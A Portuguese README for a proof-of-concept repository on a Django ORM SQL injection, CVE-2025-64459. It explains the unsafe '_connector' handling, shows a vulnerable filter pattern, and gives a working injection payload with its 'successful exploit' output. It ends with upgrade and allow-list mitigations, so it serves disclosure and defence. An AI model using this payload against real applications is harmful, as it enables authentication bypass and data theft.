
Vulnerabilidade: Injeção SQL via QuerySet e desempacotamento de argumento de palavra-chave Q(). CVE ID: CVE-2025-64459 Severidade: Crítica (CVSS 9.1) Versões Afetadas: Django 5.1 < 5.1.14, 4.2 < 4.2.26, e 5.2 < 5.2.8. Pesquisador: Cyberstan (Universidade de Warwick)
Vulnerabilidade: Injeção SQL via QuerySet e desempacotamento de argumentos de palavra‑chave de Q().
ID CVE: CVE-2025-64459
Descoberto por: Eu (Cyberstan)
Data de Divulgação: 5 de novembro de 2025
Este repositório contém uma Prova de Conceito (PoC) Dockerizada que demonstra uma vulnerabilidade crítica de Injeção SQL no ORM do Django.
A vulnerabilidade reside na forma como o objeto Q trata os argumentos de palavra‑chave durante a instanciação. Especificamente, o atributo interno _connector não é devidamente higienizado quando passado via desempacotamento de dicionário (por exemplo, Q(**user_input)). Isso permite que um atacante remoto injete lógica SQL arbitrária na cláusula WHERE de uma consulta ao banco de dados, possibilitando bypass de autenticação, exfiltração de dados e escalada de privilégios.
A vulnerabilidade está em django.db.models.sql.where.WhereNode. O método as_sql, responsável por compilar a cláusula SQL WHERE, utiliza formatação de string insegura para inserir o conector da consulta (AND/OR).
Embora o conector normalmente assuma os valores "AND" ou "OR", o Django permite que ele seja substituído através do argumento de palavra‑chave _connector no construtor do objeto Q.
# Lógica vulnerável simplificada em django/db/models/sql/where.py
def as_sql(self, compiler, connection):
# ...
# O atributo self.connector é injetado diretamente sem validação
conn = ' %s ' % self.connector
# ...
A vulnerabilidade é desencadeada quando os desenvolvedores usam desempacotamento de dicionário para construir filtros a partir de entrada do usuário – um padrão comum em APIs de busca.
Padrão de Código Vulnerável:
# O atacante controla as chaves e valores de 'filters'
filters = request.GET.dict()
query = Q(**filters) # <--- PONTO VULNERÁVEL
results = User.objects.filter(query)
Se um atacante incluir _connector como chave em sua entrada, poderá manipular a estrutura SQL.
Esta PoC utiliza Docker para garantir um ambiente consistente e isolado contendo a versão vulnerável do Django (5.1).
git clone https://github.com/stanly363/CVE-2025-64459-PoC.git
cd CVE-2025-64459-PoC
Execute o comando a seguir para construir o ambiente e executar o script de ataque:
docker-compose up --build
O contêiner executará um script Python (poc.py) que simula um endpoint de aplicação vulnerável.
alice (padrão) e root (admin)._connector.Saída de Exploit Bem‑Sucedido:
Simulating malicious user payload:
{'is_admin': False, 'username': 'nonexistent_user', '_connector': ') OR 1=1 OR ('}
----------------------------------------
Generated SQL:
SELECT ... FROM "webapp_user" WHERE (NOT "webapp_user"."is_admin" ) OR 1=1 OR ( ... )
----------------------------------------
[+] SUCESSO: Filtro bypassado via desempacotamento de dicionário! Usuário admin exposto.
Atualize o Django para a versão de segurança mais recente imediatamente.
pip install Django==5.1.14 (ou versão correspondente)A correção introduz validação rigorosa em WhereNode, garantindo que o connector seja sempre igual a AND ou OR.
Se não for possível atualizar imediatamente, audite sua base de código para usos de Q(**kwargs) ou filter(**kwargs). Certifique‑se de que o dicionário passado a esses métodos nunca contenha chaves brutas controladas pelo usuário.
Padrão Seguro:
# Explicitamente autorizar campos permitidos
allowed_filters = {'username', 'email', 'is_active'}
clean_filters = {k: v for k, v in request.GET.items() if k in allowed_filters}
# Agora é seguro desempacotar
User.objects.filter(**clean_filters)
Este repositório é apenas para fins educacionais e de pesquisa em segurança.
O código fornecido cria um ambiente vulnerável para demonstrar uma falha de segurança específica. Nunca deve ser executado em ambiente de produção. O autor (Cyberstan) não se responsabiliza pelo uso indevido desta informação. Testar este exploit contra sistemas sem autorização explícita é ilegal.